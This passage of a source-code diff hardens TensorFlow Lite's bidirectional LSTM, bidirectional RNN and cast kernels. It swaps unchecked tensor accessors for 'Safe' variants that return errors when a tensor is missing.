     bw_row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int bw_row_sums_dims[2] = {bw_row_sums_rows, n_bw_cell};
@@ -884,8 +947,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     if (has_aux_input) {
       node->temporaries->data[kAuxInputQuantized] =
           op_data->scratch_tensor_index + kAuxInputQuantized;
-      TfLiteTensor* aux_input_quantized =
-          GetTemporary(context, node, kAuxInputQuantized);
+      TfLiteTensor* aux_input_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kAuxInputQuantized,
+                                         &aux_input_quantized));
       aux_input_quantized->type = fw_input_to_output_weights->type;
       aux_input_quantized->allocation_type = kTfLiteArenaRw;
       if (!TfLiteIntArrayEqual(aux_input_quantized->dims, aux_input->dims)) {
@@ -906,26 +971,39 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       node->builtin_data);
   auto* op_data = reinterpret_cast<OpData*>(node->user_data);
   // Input tensor.
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
 
   // Tensors for the forward cell.
   const TfLiteTensor* fw_input_to_input_weights =
       GetOptionalInputTensor(context, node, kFwInputToInputWeightsTensor);
-  const TfLiteTensor* fw_input_to_forget_weights =
-      GetInput(context, node, kFwInputToForgetWeightsTensor);
-  const TfLiteTensor* fw_input_to_cell_weights =
-      GetInput(context, node, kFwInputToCellWeightsTensor);
-  const TfLiteTensor* fw_input_to_output_weights =
-      GetInput(context, node, kFwInputToOutputWeightsTensor);
+  const TfLiteTensor* fw_input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwInputToForgetWeightsTensor,
+                                 &fw_input_to_forget_weights));
+  const TfLiteTensor* fw_input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwInputToCellWeightsTensor,
+                                 &fw_input_to_cell_weights));
+  const TfLiteTensor* fw_input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwInputToOutputWeightsTensor,
+                                 &fw_input_to_output_weights));
 
   const TfLiteTensor* fw_recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kFwRecurrentToInputWeightsTensor);
-  const TfLiteTensor* fw_recurrent_to_forget_weights =
-      GetInput(context, node, kFwRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* fw_recurrent_to_cell_weights =
-      GetInput(context, node, kFwRecurrentToCellWeightsTensor);
-  const TfLiteTensor* fw_recurrent_to_output_weights =
-      GetInput(context, node, kFwRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* fw_recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kFwRecurrentToForgetWeightsTensor,
+                            &fw_recurrent_to_forget_weights));
+  const TfLiteTensor* fw_recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwRecurrentToCellWeightsTensor,
+                                 &fw_recurrent_to_cell_weights));
+  const TfLiteTensor* fw_recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kFwRecurrentToOutputWeightsTensor,
+                            &fw_recurrent_to_output_weights));
 
   const TfLiteTensor* fw_cell_to_input_weights =
       GetOptionalInputTensor(context, node, kFwCellToInputWeightsTensor);
@@ -936,12 +1014,17 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   const TfLiteTensor* fw_input_gate_bias =
       GetOptionalInputTensor(context, node, kFwInputGateBiasTensor);
-  const TfLiteTensor* fw_forget_gate_bias =
-      GetInput(context, node, kFwForgetGateBiasTensor);
-  const TfLiteTensor* fw_cell_gate_bias =
-      GetInput(context, node, kFwCellGateBiasTensor);
-  const TfLiteTensor* fw_output_gate_bias =
-      GetInput(context, node, kFwOutputGateBiasTensor);
+  const TfLiteTensor* fw_forget_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwForgetGateBiasTensor,
+                                 &fw_forget_gate_bias));
+  const TfLiteTensor* fw_cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kFwCellGateBiasTensor,
+                                          &fw_cell_gate_bias));
+  const TfLiteTensor* fw_output_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwOutputGateBiasTensor,
+                                 &fw_output_gate_bias));
 
   const TfLiteTensor* fw_projection_weights =
       GetOptionalInputTensor(context, node, kFwProjectionWeightsTensor);
@@ -950,30 +1033,44 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   TfLiteTensor* fw_activation_state =
       GetVariableInput(context, node, kFwInputActivationStateTensor);
-  TF_LITE_ENSURE(context, fw_activation_state != nullptr);
+  TFLITE_DCHECK(fw_activation_state != nullptr);
   TfLiteTensor* fw_cell_state =
       GetVariableInput(context, node, kFwInputCellStateTensor);
-  TF_LITE_ENSURE(context, fw_cell_state != nullptr);
-  TfLiteTensor* fw_output = GetOutput(context, node, kFwOutputTensor);
+  TFLITE_DCHECK(fw_cell_state != nullptr);
+  TfLiteTensor* fw_output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kFwOutputTensor, &fw_output));
 
   // Tensors for the backward cell.
   const TfLiteTensor* bw_input_to_input_weights =
       GetOptionalInputTensor(context, node, kBwInputToInputWeightsTensor);
-  const TfLiteTensor* bw_input_to_forget_weights =
-      GetInput(context, node, kBwInputToForgetWeightsTensor);
-  const TfLiteTensor* bw_input_to_cell_weights =
-      GetInput(context, node, kBwInputToCellWeightsTensor);
-  const TfLiteTensor* bw_input_to_output_weights =
-      GetInput(context, node, kBwInputToOutputWeightsTensor);
+  const TfLiteTensor* bw_input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwInputToForgetWeightsTensor,
+                                 &bw_input_to_forget_weights));
+  const TfLiteTensor* bw_input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwInputToCellWeightsTensor,
+                                 &bw_input_to_cell_weights));
+  const TfLiteTensor* bw_input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwInputToOutputWeightsTensor,
+                                 &bw_input_to_output_weights));
 
   const TfLiteTensor* bw_recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kBwRecurrentToInputWeightsTensor);
-  const TfLiteTensor* bw_recurrent_to_forget_weights =
-      GetInput(context, node, kBwRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* bw_recurrent_to_cell_weights =
-      GetInput(context, node, kBwRecurrentToCellWeightsTensor);
-  const TfLiteTensor* bw_recurrent_to_output_weights =
-      GetInput(context, node, kBwRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* bw_recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kBwRecurrentToForgetWeightsTensor,
+                            &bw_recurrent_to_forget_weights));
+  const TfLiteTensor* bw_recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwRecurrentToCellWeightsTensor,
+                                 &bw_recurrent_to_cell_weights));
+  const TfLiteTensor* bw_recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kBwRecurrentToOutputWeightsTensor,
+                            &bw_recurrent_to_output_weights));
 
   const TfLiteTensor* bw_cell_to_input_weights =
       GetOptionalInputTensor(context, node, kBwCellToInputWeightsTensor);
@@ -984,12 +1081,17 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   const TfLiteTensor* bw_input_gate_bias =
       GetOptionalInputTensor(context, node, kBwInputGateBiasTensor);
-  const TfLiteTensor* bw_forget_gate_bias =
-      GetInput(context, node, kBwForgetGateBiasTensor);
-  const TfLiteTensor* bw_cell_gate_bias =
-      GetInput(context, node, kBwCellGateBiasTensor);
-  const TfLiteTensor* bw_output_gate_bias =
-      GetInput(context, node, kBwOutputGateBiasTensor);
+  const TfLiteTensor* bw_forget_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwForgetGateBiasTensor,
+                                 &bw_forget_gate_bias));
+  const TfLiteTensor* bw_cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBwCellGateBiasTensor,
+                                          &bw_cell_gate_bias));
+  const TfLiteTensor* bw_output_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwOutputGateBiasTensor,
+                                 &bw_output_gate_bias));
 
   const TfLiteTensor* bw_projection_weights =
       GetOptionalInputTensor(context, node, kBwProjectionWeightsTensor);
@@ -999,19 +1101,21 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   // State tensors.
   TfLiteTensor* bw_activation_state =
       GetVariableInput(context, node, kBwInputActivationStateTensor);
-  TF_LITE_ENSURE(context, bw_activation_state != nullptr);
+  TFLITE_DCHECK(bw_activation_state != nullptr);
   TfLiteTensor* bw_cell_state =
       GetVariableInput(context, node, kBwInputCellStateTensor);
-  TF_LITE_ENSURE(context, bw_cell_state != nullptr);
+  TFLITE_DCHECK(bw_cell_state != nullptr);
   TfLiteTensor* bw_output = params->merge_outputs
                                 ? nullptr
                                 : GetOutput(context, node, kBwOutputTensor);
 
   // Temporary tensors.
-  TfLiteTensor* fw_scratch_buffer =
-      GetTemporary(context, node, kFwScratchBuffer);
-  TfLiteTensor* bw_scratch_buffer =
-      GetTemporary(context, node, kBwScratchBuffer);
+  TfLiteTensor* fw_scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kFwScratchBuffer,
+                                              &fw_scratch_buffer));
+  TfLiteTensor* bw_scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kBwScratchBuffer,
+                                              &bw_scratch_buffer));
 
   // (Optional) auxiliary inputs.
   const TfLiteTensor* aux_input =
@@ -1112,27 +1216,47 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     }
     case kTfLiteUInt8:
     case kTfLiteInt8: {
-      TfLiteTensor* input_quantized =
-          GetTemporary(context, node, kInputQuantized);
-      TfLiteTensor* fw_activation_state_quantized =
-          GetTemporary(context, node, kFwActivationStateQuantized);
-      TfLiteTensor* bw_activation_state_quantized =
-          GetTemporary(context, node, kBwActivationStateQuantized);
-      TfLiteTensor* fw_cell_state_quantized =
-          GetTemporary(context, node, kFwCellStateQuantized);
-      TfLiteTensor* bw_cell_state_quantized =
-          GetTemporary(context, node, kBwCellStateQuantized);
-      TfLiteTensor* prod_scaling_factors =
-          GetTemporary(context, node, kProductScalingFactors);
-      TfLiteTensor* recovered_cell_weights =
-          GetTemporary(context, node, kRecoveredCellWeights);
+      TfLiteTensor* input_quantized;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, kInputQuantized, &input_quantized));
+      TfLiteTensor* fw_activation_state_quantized;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kFwActivationStateQuantized,
+                                    &fw_activation_state_quantized));
+      TfLiteTensor* bw_activation_state_quantized;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kBwActivationStateQuantized,
+                                    &bw_activation_state_quantized));
+      TfLiteTensor* fw_cell_state_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kFwCellStateQuantized,
+                                         &fw_cell_state_quantized));
+      TfLiteTensor* bw_cell_state_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kBwCellStateQuantized,
+                                         &bw_cell_state_quantized));
+      TfLiteTensor* prod_scaling_factors;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kProductScalingFactors,
+                                         &prod_scaling_factors));
+      TfLiteTensor* recovered_cell_weights;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kRecoveredCellWeights,
+                                         &recovered_cell_weights));
       TfLiteTensor* aux_input_quantized =
           use_aux_input ? GetTemporary(context, node, kAuxInputQuantized)
                         : nullptr;
-      TfLiteTensor* accum_scratch =
-          GetTemporary(context, node, kAccumScratchBuffer);
-      TfLiteTensor* fw_row_sums = GetTemporary(context, node, kFwRowSums);
-      TfLiteTensor* bw_row_sums = GetTemporary(context, node, kBwRowSums);
+      TfLiteTensor* accum_scratch;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, kAccumScratchBuffer, &accum_scratch));
+      TfLiteTensor* fw_row_sums;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kFwRowSums, &fw_row_sums));
+      TfLiteTensor* bw_row_sums;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kBwRowSums, &bw_row_sums));
       const int fw_row_sums_size = fw_row_sums->dims->data[0];
       const int bw_row_sums_size = bw_row_sums->dims->data[0];
       TfLiteStatus fw_pass_status = lstm_eval::EvalHybrid(
diff --git a/tensorflow/lite/kernels/bidirectional_sequence_rnn.cc b/tensorflow/lite/kernels/bidirectional_sequence_rnn.cc
index bc88740b6edd5b..8ce19e5fb99f4b 100644
--- a/tensorflow/lite/kernels/bidirectional_sequence_rnn.cc
+++ b/tensorflow/lite/kernels/bidirectional_sequence_rnn.cc
@@ -97,21 +97,34 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->outputs->size,
                     params->merge_outputs ? 1 : 2);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* fw_input_weights =
-      GetInput(context, node, kFwWeightsTensor);
-  const TfLiteTensor* fw_recurrent_weights =
-      GetInput(context, node, kFwRecurrentWeightsTensor);
-  const TfLiteTensor* fw_bias = GetInput(context, node, kFwBiasTensor);
-  const TfLiteTensor* fw_hidden_state =
-      GetInput(context, node, kFwHiddenStateTensor);
-  const TfLiteTensor* bw_input_weights =
-      GetInput(context, node, kBwWeightsTensor);
-  const TfLiteTensor* bw_recurrent_weights =
-      GetInput(context, node, kBwRecurrentWeightsTensor);
-  const TfLiteTensor* bw_bias = GetInput(context, node, kBwBiasTensor);
-  const TfLiteTensor* bw_hidden_state =
-      GetInput(context, node, kBwHiddenStateTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* fw_input_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kFwWeightsTensor,
+                                          &fw_input_weights));
+  const TfLiteTensor* fw_recurrent_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwRecurrentWeightsTensor,
+                                 &fw_recurrent_weights));
+  const TfLiteTensor* fw_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwBiasTensor, &fw_bias));
+  const TfLiteTensor* fw_hidden_state;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kFwHiddenStateTensor,
+                                          &fw_hidden_state));
+  const TfLiteTensor* bw_input_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBwWeightsTensor,
+                                          &bw_input_weights));
+  const TfLiteTensor* bw_recurrent_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwRecurrentWeightsTensor,
+                                 &bw_recurrent_weights));
+  const TfLiteTensor* bw_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwBiasTensor, &bw_bias));
+  const TfLiteTensor* bw_hidden_state;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBwHiddenStateTensor,
+                                          &bw_hidden_state));
 
   const TfLiteTensor* aux_input =
       GetOptionalInputTensor(context, node, kAuxInputTensor);
@@ -186,8 +199,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     node->temporaries->data[kInputQuantized] =
         op_data->scratch_tensor_index + kInputQuantized;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, kInputQuantized);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kInputQuantized,
+                                                &input_quantized));
     input_quantized->type = fw_input_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -198,8 +212,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     node->temporaries->data[kFwHiddenStateQuantized] =
         op_data->scratch_tensor_index + kFwHiddenStateQuantized;
-    TfLiteTensor* fw_hidden_state_quantized =
-        GetTemporary(context, node, kFwHiddenStateQuantized);
+    TfLiteTensor* fw_hidden_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kFwHiddenStateQuantized,
+                                       &fw_hidden_state_quantized));
     fw_hidden_state_quantized->type = fw_input_weights->type;
     fw_hidden_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(fw_hidden_state_quantized->dims,
@@ -213,8 +229,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     node->temporaries->data[kBwHiddenStateQuantized] =
         op_data->scratch_tensor_index + kBwHiddenStateQuantized;
-    TfLiteTensor* bw_hidden_state_quantized =
-        GetTemporary(context, node, kBwHiddenStateQuantized);
+    TfLiteTensor* bw_hidden_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kBwHiddenStateQuantized,
+                                       &bw_hidden_state_quantized));
     bw_hidden_state_quantized->type = fw_input_weights->type;
     bw_hidden_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(bw_hidden_state_quantized->dims,
@@ -229,8 +247,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Allocate temporary tensors to store scaling factors of quantization.
     node->temporaries->data[kScalingFactors] =
         op_data->scratch_tensor_index + kScalingFactors;
-    TfLiteTensor* scaling_factors =
-        GetTemporary(context, node, kScalingFactors);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kScalingFactors,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {batch_size};
@@ -242,7 +261,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kAccumScratch] =
         op_data->scratch_tensor_index + kAccumScratch;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, kAccumScratch);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kAccumScratch,
+                                                &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {std::max(fw_num_units, bw_num_units),
@@ -257,8 +278,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kZeroPoints] =
         op_data->scratch_tensor_index + kZeroPoints;
-    TfLiteTensor* zero_points =
-        GetTemporary(context, node, /*index=*/kZeroPoints);
+    TfLiteTensor* zero_points;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, /*index=*/kZeroPoints, &zero_points));
     zero_points->type = kTfLiteInt32;
     zero_points->allocation_type = kTfLiteArenaRw;
     int zero_points_dims[1] = {batch_size};
@@ -271,8 +294,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     const int num_row_sums = has_aux_input ? 3 : 2;
     node->temporaries->data[kFwRowSums] =
         op_data->scratch_tensor_index + kFwRowSums;
-    TfLiteTensor* fw_row_sums =
-        GetTemporary(context, node, /*index=*/kFwRowSums);
+    TfLiteTensor* fw_row_sums;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, /*index=*/kFwRowSums, &fw_row_sums));
     fw_row_sums->type = kTfLiteInt32;
     fw_row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int fw_row_sums_dims[2] = {num_row_sums, fw_num_units};
@@ -285,8 +310,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kBwRowSums] =
         op_data->scratch_tensor_index + kBwRowSums;
-    TfLiteTensor* bw_row_sums = GetTemporary(context, node,
-                                             /*index=*/kBwRowSums);
+    TfLiteTensor* bw_row_sums;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, /*index=*/kBwRowSums, &bw_row_sums));
     bw_row_sums->type = kTfLiteInt32;
     bw_row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int bw_row_sums_dims[2] = {num_row_sums, bw_num_units};
@@ -300,8 +327,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     if (has_aux_input) {
       node->temporaries->data[kAuxInputQuantized] =
           op_data->scratch_tensor_index + kAuxInputQuantized;
-      TfLiteTensor* aux_input_quantized =
-          GetTemporary(context, node, kAuxInputQuantized);
+      TfLiteTensor* aux_input_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kAuxInputQuantized,
+                                         &aux_input_quantized));
       aux_input_quantized->type = fw_input_weights->type;
       aux_input_quantized->allocation_type = kTfLiteArenaRw;
       if (!TfLiteIntArrayEqual(aux_input_quantized->dims, aux_input->dims)) {
@@ -315,7 +344,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Resize outputs.
-  TfLiteTensor* fw_output = GetOutput(context, node, kFwOutputTensor);
+  TfLiteTensor* fw_output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kFwOutputTensor, &fw_output));
   TfLiteIntArray* fw_output_size_array = TfLiteIntArrayCreate(3);
   fw_output_size_array->data[0] = (time_major) ? max_time : batch_size;
   fw_output_size_array->data[1] = (time_major) ? batch_size : max_time;
@@ -324,7 +355,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_OK(
       context, context->ResizeTensor(context, fw_output, fw_output_size_array));
   if (!params->merge_outputs) {
-    TfLiteTensor* bw_output = GetOutput(context, node, kBwOutputTensor);
+    TfLiteTensor* bw_output;
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kBwOutputTensor, &bw_output));
     TfLiteIntArray* bw_output_size_array = TfLiteIntArrayCreate(3);
     bw_output_size_array->data[0] = batch_size;
     bw_output_size_array->data[1] = max_time;
@@ -678,17 +711,28 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const auto* params = reinterpret_cast<TfLiteBidirectionalSequenceRNNParams*>(
       node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* fw_input_weights =
-      GetInput(context, node, kFwWeightsTensor);
-  const TfLiteTensor* fw_recurrent_weights =
-      GetInput(context, node, kFwRecurrentWeightsTensor);
-  const TfLiteTensor* fw_bias = GetInput(context, node, kFwBiasTensor);
-  const TfLiteTensor* bw_input_weights =
-      GetInput(context, node, kBwWeightsTensor);
-  const TfLiteTensor* bw_recurrent_weights =
-      GetInput(context, node, kBwRecurrentWeightsTensor);
-  const TfLiteTensor* bw_bias = GetInput(context, node, kBwBiasTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* fw_input_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kFwWeightsTensor,
+                                          &fw_input_weights));
+  const TfLiteTensor* fw_recurrent_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwRecurrentWeightsTensor,
+                                 &fw_recurrent_weights));
+  const TfLiteTensor* fw_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwBiasTensor, &fw_bias));
+  const TfLiteTensor* bw_input_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBwWeightsTensor,
+                                          &bw_input_weights));
+  const TfLiteTensor* bw_recurrent_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwRecurrentWeightsTensor,
+                                 &bw_recurrent_weights));
+  const TfLiteTensor* bw_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwBiasTensor, &bw_bias));
 
   // Get auxiliary inputs.
   const TfLiteTensor* aux_input =
@@ -700,12 +744,14 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   TfLiteTensor* fw_hidden_state =
       GetVariableInput(context, node, kFwHiddenStateTensor);
-  TF_LITE_ENSURE(context, fw_hidden_state != nullptr);
+  TFLITE_DCHECK(fw_hidden_state != nullptr);
   TfLiteTensor* bw_hidden_state =
       GetVariableInput(context, node, kBwHiddenStateTensor);
-  TF_LITE_ENSURE(context, bw_hidden_state != nullptr);
+  TFLITE_DCHECK(bw_hidden_state != nullptr);
 
-  TfLiteTensor* fw_output = GetOutput(context, node, kFwOutputTensor);
+  TfLiteTensor* fw_output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kFwOutputTensor, &fw_output));
   TfLiteTensor* bw_output = params->merge_outputs
                                 ? nullptr
                                 : GetOutput(context, node, kBwOutputTensor);
@@ -741,18 +787,34 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
                        bw_hidden_state, bw_output);
     case kTfLiteUInt8:
     case kTfLiteInt8: {
-      TfLiteTensor* input_quantized =
-          GetTemporary(context, node, kInputQuantized);
-      TfLiteTensor* fw_hidden_state_quantized =
-          GetTemporary(context, node, kFwHiddenStateQuantized);
-      TfLiteTensor* bw_hidden_state_quantized =
-          GetTemporary(context, node, kBwHiddenStateQuantized);
-      TfLiteTensor* scaling_factors =
-          GetTemporary(context, node, kScalingFactors);
-      TfLiteTensor* zero_points = GetTemporary(context, node, kZeroPoints);
-      TfLiteTensor* accum_scratch = GetTemporary(context, node, kAccumScratch);
-      TfLiteTensor* fw_row_sums = GetTemporary(context, node, kFwRowSums);
-      TfLiteTensor* bw_row_sums = GetTemporary(context, node, kBwRowSums);
+      TfLiteTensor* input_quantized;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, kInputQuantized, &input_quantized));
+      TfLiteTensor* fw_hidden_state_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kFwHiddenStateQuantized,
+                                         &fw_hidden_state_quantized));
+      TfLiteTensor* bw_hidden_state_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kBwHiddenStateQuantized,
+                                         &bw_hidden_state_quantized));
+      TfLiteTensor* scaling_factors;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, kScalingFactors, &scaling_factors));
+      TfLiteTensor* zero_points;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kZeroPoints, &zero_points));
+      TfLiteTensor* accum_scratch;
+      TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kAccumScratch,
+                                                  &accum_scratch));
+      TfLiteTensor* fw_row_sums;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kFwRowSums, &fw_row_sums));
+      TfLiteTensor* bw_row_sums;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, kBwRowSums, &bw_row_sums));
       TfLiteTensor* aux_input_quantized =
           use_aux_input ? GetTemporary(context, node, kAuxInputQuantized)
                         : nullptr;
diff --git a/tensorflow/lite/kernels/cast.cc b/tensorflow/lite/kernels/cast.cc
index ab95afa979fb6b..3615f825e8f1f1 100644
--- a/tensorflow/lite/kernels/cast.cc
+++ b/tensorflow/lite/kernels/cast.cc
@@ -32,8 +32,11 @@ constexpr int kOutputTensor = 0;
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // TODO(ahentz): these two checks would make the new implementation
   // incompatible with some existing models, where params is not specified. It
@@ -98,8 +101,11 @@ TfLiteStatus copyToTensor(TfLiteContext* context, const FromT* in,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   const int num_elements = NumElements(input);
   TF_LITE_ENSURE_EQ(context, num_elements, NumElements(output));
   switch (input->type) {
diff --git a/tensorflow/lite/kernels/ceil.cc b/tensorflow/lite/kernels/ceil.cc
index 95c660f3376824..a593f296876cd7 100644
